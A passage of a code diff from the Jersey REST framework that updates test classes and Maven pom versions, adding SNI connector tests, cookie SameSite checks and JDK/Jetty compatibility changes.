+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/validation/validateonexecution/ValidateOnExecutionBasicTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,13 +32,20 @@
import jakarta.validation.executable.ExecutableType;
import jakarta.validation.executable.ValidateOnExecution;
+import jakarta.ws.rs.ext.ContextResolver;
+import jakarta.xml.bind.JAXBContext;
+import jakarta.xml.bind.JAXBException;
+import org.eclipse.persistence.jaxb.BeanValidationMode;
+import org.eclipse.persistence.jaxb.MarshallerProperties;
+import org.glassfish.jersey.client.ClientConfig;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.server.ServerProperties;
import org.glassfish.jersey.test.TestProperties;
import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.parallel.Execution;
-import org.junit.jupiter.api.parallel.ExecutionMode;
+
+import java.util.HashMap;
+import java.util.Map;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -290,6 +297,28 @@
}
}
+ /**
+ * Do not validate the bean by Moxy, validate just by Jersey
+ */
+ public static class MoxyNotValidateContextResolver implements ContextResolver<JAXBContext> {
+ @Override
+ public JAXBContext getContext(Class<?> type) {
+ Map<String, Object> properties = new HashMap<>();
+ properties.put(MarshallerProperties.BEAN_VALIDATION_MODE, BeanValidationMode.NONE);
+ try {
+ return JAXBContext.newInstance(new Class[]{type}, properties);
+ } catch (JAXBException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(MoxyNotValidateContextResolver.class);
+ super.configureClient(config);
+ }
+
@Override
protected Application configure() {
enable(TestProperties.LOG_TRAFFIC);
@@ -310,7 +339,8 @@
ValidateGetterExecutableOnTypeMatch.class,
ValidateGetterExecutableOnBeans.class,
ValidateGetterResourceMethod.class,
- ValidateExecutableResource.class)
+ ValidateExecutableResource.class,
+ MoxyNotValidateContextResolver.class)
.property(ServerProperties.BV_DISABLE_VALIDATE_ON_EXECUTABLE_OVERRIDE_CHECK, true);
}
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
index 8790628..17b3124 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlBeanParamTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,9 +39,13 @@
import jakarta.ws.rs.core.Request;
import jakarta.ws.rs.core.Response;
+import javax.xml.transform.ErrorListener;
+import javax.xml.transform.Result;
+import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.URIResolver;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.xpath.XPath;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
index 6c4907f..749eb22 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/wadl/WadlResourceTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -1006,7 +1006,12 @@
final String document = response.readEntity(String.class);
// check that the resulting document contains a method element with id="fooX"
- assertTrue(document.replaceAll("\n", " ").matches(".*<method[^>]+id=\"foo" + i + "\"[^>]*>.*"));
+ assertTrue(document
+ .replaceAll("\n", " ")
+ .replaceAll("\r", "")
+ .replaceAll("ns0:", "")
+ .matches(".*<method[^>]+id=\"foo" + i + "\"[^>]*>.*")
+ );
}
}
}
diff --git a/tests/e2e-testng/pom.xml b/tests/e2e-testng/pom.xml
index 1a23da8..05a1502 100644
--- a/tests/e2e-testng/pom.xml
+++ b/tests/e2e-testng/pom.xml
@@ -24,7 +24,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-testng</artifactId>
diff --git a/tests/e2e-tls/pom.xml b/tests/e2e-tls/pom.xml
index 059bade..ffb3b3f 100644
--- a/tests/e2e-tls/pom.xml
+++ b/tests/e2e-tls/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e-tls</artifactId>
@@ -44,6 +44,7 @@
<skipTests>${skip.e2e}</skipTests>
<systemPropertyVariables>
<sun.net.http.allowRestrictedHeaders>true</sun.net.http.allowRestrictedHeaders>
+ <jdk.httpclient.allowRestrictedHeaders>Host</jdk.httpclient.allowRestrictedHeaders>
<property>
<name>ssl.debug</name>
<value>true</value>
@@ -110,6 +111,11 @@
<scope>test</scope>
</dependency>
<dependency>
+ <groupId>org.glassfish.jersey.connectors</groupId>
+ <artifactId>jersey-jnh-connector</artifactId>
+ <scope>test</scope>
+ </dependency>
+ <dependency>
<groupId>org.glassfish.jersey.security</groupId>
<artifactId>oauth1-signature</artifactId>
<version>${project.version}</version>
diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
index 1e8d893..3964fce 100644
--- a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
+++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
@@ -16,6 +16,7 @@
package org.glassfish.jersey.tests.e2e.tls;
+import jakarta.ws.rs.client.Invocation;
import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
import org.glassfish.jersey.client.ClientConfig;
@@ -23,9 +24,9 @@
import org.glassfish.jersey.client.HttpUrlConnectorProvider;
import org.glassfish.jersey.client.spi.ConnectorProvider;
import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
import org.glassfish.jersey.tests.e2e.tls.explorer.SSLCapabilities;
-import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.MethodSource;
@@ -39,21 +40,19 @@
import java.net.InetAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
-import java.net.URI;
import java.net.UnknownHostException;
-import java.nio.charset.StandardCharsets;
import java.util.LinkedList;
import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
public class SniTest {
private static final int PORT = 8443;
private static final String LOCALHOST = "127.0.0.1";
-
static {
+// Debug
+// System.setProperty("sun.net.http.allowRestrictedHeaders", "true");
+// System.setProperty("jdk.httpclient.allowRestrictedHeaders", "Host");
// JDK specific settings
System.setProperty("jdk.net.hosts.file", SniTest.class.getResource("/hosts").getPath());
}
@@ -64,7 +63,8 @@
new ApacheConnectorProvider(),
new Apache5ConnectorProvider(),
new JdkConnectorProvider(),
- new HttpUrlConnectorProvider()
+ new HttpUrlConnectorProvider(),
+ new JavaNetHttpConnectorProvider()
};
}
@@ -73,10 +73,11 @@
public void server1Test(ConnectorProvider provider) {
ClientConfig clientConfig = new ClientConfig();
clientConfig.connectorProvider(provider);
- serverTest(clientConfig, "www.host1.com");
+ clientConfig.property(ClientProperties.SNI_HOST_NAME, "www.host1.com");
+ serverTest(clientConfig, provider, "www.host1.com");
}
- public void serverTest(ClientConfig clientConfig, String hostName) {
+ public void serverTest(ClientConfig clientConfig, ConnectorProvider provider, String hostName) {
String newHostName = replaceWhenHostNotKnown(hostName);
final List<SNIServerName> serverNames = new LinkedList<>();
final String[] requestHostName = new String[1];
@@ -91,7 +92,7 @@
clientConfig.property(ClientProperties.READ_TIMEOUT, 2000);
clientConfig.property(ClientProperties.CONNECT_TIMEOUT, 2000);
- try (Response r = ClientBuilder.newClient(clientConfig)
+ Invocation.Builder builder = ClientBuilder.newClient(clientConfig)
.register(new ClientRequestFilter() {
@Override
public void filter(ClientRequestContext requestContext) throws IOException {
@@ -100,9 +101,11 @@
})
.target("https://" + (newHostName.equals(LOCALHOST) ? LOCALHOST : "www.host0.com") + ":" + PORT)
.path("host")
- .request()
- .header(HttpHeaders.HOST, hostName + ":8080")
- .get()) {
+ .request();
+ if (!JavaNetHttpConnectorProvider.class.isInstance(provider)) {
+ builder = builder.header(HttpHeaders.HOST, hostName + ":8080");
+ }
+ try (Response r = builder.get()) {
// empty
} catch (Exception e) {
Throwable cause = e;
@@ -111,7 +114,7 @@
&& TimeoutException.class.isInstance(cause)) {
cause = cause.getCause();
}
- if (cause == null && /*IOE*/ !e.getMessage().contains("Stream closed")) {
+ if ((!e.getMessage().contains("Stream closed")) && !e.getMessage().contains("timed out")) {
throw e;
}
}
diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml
index 7058aaa..f17cda4 100644
--- a/tests/e2e/pom.xml
+++ b/tests/e2e/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>e2e</artifactId>
@@ -200,7 +200,7 @@
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -218,15 +218,6 @@
</build>
</profile>
<profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <properties>
- <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
- </properties>
- </profile>
- <profile>
<id>sonar</id>
<build>
<pluginManagement>
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
index 8cecb6b..138466e 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/ContentDispositionTest.java
@@ -66,7 +66,7 @@
contentDisposition = new ContentDisposition(header);
assertNotNull(contentDisposition);
assertEquals(contentDispositionType, contentDisposition.getType());
- final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+ final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
header = contentDispositionType + ";filename=\"test.file\";creation-date=\""
+ dateString + "\";modification-date=\"" + dateString + "\";read-date=\""
+ dateString + "\";size=1222";
@@ -101,7 +101,7 @@
final Date date = new Date();
final ContentDisposition contentDisposition = ContentDisposition.type(contentDispositionType).fileName("test.file")
.creationDate(date).modificationDate(date).readDate(date).size(1222).build();
- final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+ final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
final String header = contentDispositionType + "; filename=\"test.file\"; creation-date=\""
+ dateString + "\"; modification-date=\"" + dateString + "\"; read-date=\"" + dateString + "\"; size=1222";
assertEquals(header, contentDisposition.toString());
@@ -252,7 +252,7 @@
final boolean decode
) throws ParseException {
final Date date = new Date();
- final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+ final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
final String prefixHeader = contentDispositionType + ";filename=\"" + actualFileName + "\";"
+ "creation-date=\"" + dateString + "\";modification-date=\"" + dateString + "\";read-date=\""
+ dateString + "\";size=1222" + ";name=\"testData\";" + "filename*=\"";
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
index 1068272..5992b54 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/CookieImplTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -187,6 +187,12 @@
cookie = new NewCookie("fred", "flintstone", null, null, "a modern stonage family", 60, false);
expResult = "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60";
assertEquals(expResult, cookie.toString());
+
+ cookie = new NewCookie("fred", "flintstone", null, null, 1,
+ "a modern stonage family", 60, null, false, false,
+ NewCookie.SameSite.STRICT);
+ expResult = "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60;SameSite=Strict";
+ assertEquals(expResult, cookie.toString());
}
@Test
@@ -209,6 +215,16 @@
assertEquals(1, cookie.getVersion());
assertEquals(60, cookie.getMaxAge());
assertTrue(cookie.isSecure());
+
+ cookie = NewCookie.valueOf(
+ "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60;Secure;SameSite=None");
+ assertEquals("fred", cookie.getName());
+ assertEquals("flintstone", cookie.getValue());
+ assertEquals("a modern stonage family", cookie.getComment());
+ assertEquals(1, cookie.getVersion());
+ assertEquals(60, cookie.getMaxAge());
+ assertTrue(cookie.isSecure());
+ assertEquals(NewCookie.SameSite.NONE, cookie.getSameSite());
}
}
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
index c931809..0595890 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -45,7 +45,7 @@
.modificationDate(date).readDate(date).size(1222).build();
assertFormDataContentDisposition(contentDisposition, date);
try {
- final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+ final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
final String header = contentDispositionType + ";filename=\"test.file\";creation-date=\"" + dateString
+ "\";modification-date=\"" + dateString + "\";read-date=\"" + dateString + "\";size=1222"
+ ";name=\"testData\"";
@@ -92,7 +92,7 @@
final FormDataContentDisposition contentDisposition = FormDataContentDisposition.name("testData")
.fileName("test.file").creationDate(date).modificationDate(date)
.readDate(date).size(1222).build();
- final String dateString = HttpDateFormat.getPreferredDateFormat().format(date);
+ final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date);
final String header = contentDispositionType + "; filename=\"test.file\"; creation-date=\"" + dateString
+ "\"; modification-date=\"" + dateString + "\"; read-date=\"" + dateString + "\"; size=1222"
+ "; name=\"testData\"";
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
index 63305db..4e1bfd3 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -100,8 +100,8 @@
@Test
public void testDateParsing() throws ParseException {
final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT";
- final String date_RFC1036 = "Sunday, 06-Nov-94 08:49:37 GMT";
- final String date_ANSI_C = "Sun Nov 6 08:49:37 1994";
+ final String date_RFC1036 = "Sunday, 07-Nov-04 08:49:37 GMT";
+ final String date_ANSI_C = "Sun Nov 6 08:49:37 1994";
HttpHeaderReader.readDate(date_RFC1123);
HttpHeaderReader.readDate(date_RFC1036);
@@ -113,7 +113,7 @@
final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT";
final Date date = HttpHeaderReader.readDate(date_RFC1123);
- final String date_formatted = HttpDateFormat.getPreferredDateFormat().format(date);
+ final String date_formatted = HttpDateFormat.getPreferredDateFormatter().format(date);
assertEquals(date_RFC1123, date_formatted);
}
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
index f67d538..54bbf12 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -174,13 +174,13 @@
// let's also test some method calls
int flags = 0;
- if ("/echo".equals(jettyRequest.get().getPathInfo())) {
+ if ("/echo".equals(jettyRequest.get().getHttpURI().getPath())) {
flags += 1;
}
if (!jettyResponse.get().isCommitted()) {
flags += 10;
}
- final String header = jettyRequest.get().getHeader(REQUEST_NUMBER);
+ final String header = jettyRequest.get().getHeaders().get(REQUEST_NUMBER);
ctx.setEntityStream(new ByteArrayInputStream(("filtered-" + flags + "-" + header).getBytes()));
}
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
index b1f5cfc..f6bb0b7 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -54,10 +54,10 @@
protected static List<TestContainerFactory> listContainerFactories(TestContainerFactory... factories) {
final JdkVersion version = JdkVersion.getJdkVersion();
- boolean isJDK8 = version.getMajor() == 1;
+ boolean isJDKGreaterThanOrEqualTo17 = version.getMajor() >= 17;
final List<TestContainerFactory> filtered = new LinkedList<>();
for (TestContainerFactory factory : factories) {
- if (!isJDK8 || !JettyTestContainerFactory.class.isInstance(factory)) {
+ if (isJDKGreaterThanOrEqualTo17 || !JettyTestContainerFactory.class.isInstance(factory)) {
filtered.add(factory);
}
}
diff --git a/tests/integration/asm/pom.xml b/tests/integration/asm/pom.xml
index 096e38c..d1b8d79 100644
--- a/tests/integration/asm/pom.xml
+++ b/tests/integration/asm/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.tests.integration</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/async-jersey-filter/pom.xml b/tests/integration/async-jersey-filter/pom.xml
index c9c3d4f..ef99488 100644
--- a/tests/integration/async-jersey-filter/pom.xml
+++ b/tests/integration/async-jersey-filter/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>async-jersey-filter</artifactId>
@@ -49,7 +49,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
</dependencies>
@@ -65,8 +64,8 @@
<artifactId>maven-failsafe-plugin</artifactId>
</plugin>
<plugin>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-maven-plugin</artifactId>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
index 139ff13..5d1496c 100644
--- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-beanvalidation-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
index fea5a22..941a5f7 100644
--- a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-client-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client/pom.xml b/tests/integration/cdi-integration/cdi-client/pom.xml
index 888bd34..17ab97f 100644
--- a/tests/integration/cdi-integration/cdi-client/pom.xml
+++ b/tests/integration/cdi-integration/cdi-client/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-client</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
index 18e70af..88fef7d 100644
--- a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-ejb-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
index 4f94568..4ece9ce 100644
--- a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-iface-with-non-jaxrs-impl-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-log-check/pom.xml b/tests/integration/cdi-integration/cdi-log-check/pom.xml
index 4733e26..c7bd8a9 100644
--- a/tests/integration/cdi-integration/cdi-log-check/pom.xml
+++ b/tests/integration/cdi-integration/cdi-log-check/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-log-check</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
index 29405b1..64fd389 100644
--- a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
+++ b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>cdi-integration-project</artifactId>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
index e49c77f..25ab8a1 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
index 2b4c741..7304f7e 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
index 034d712..a66d6c7 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-multimodule</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
index 6ae2e7f..1bbf641 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
@@ -40,7 +40,6 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
index 0cc877d..a4a0cf1 100644
--- a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
<relativePath>../../pom.xml</relativePath>
</parent>
diff --git a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
index 948f201..4b9cc14 100644
--- a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
+++ b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
@@ -22,7 +22,7 @@
<parent>
<groupId>org.glassfish.jersey.tests.integration.cdi</groupId>
<artifactId>cdi-integration-project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>cdi-multipart-webapp</artifactId>
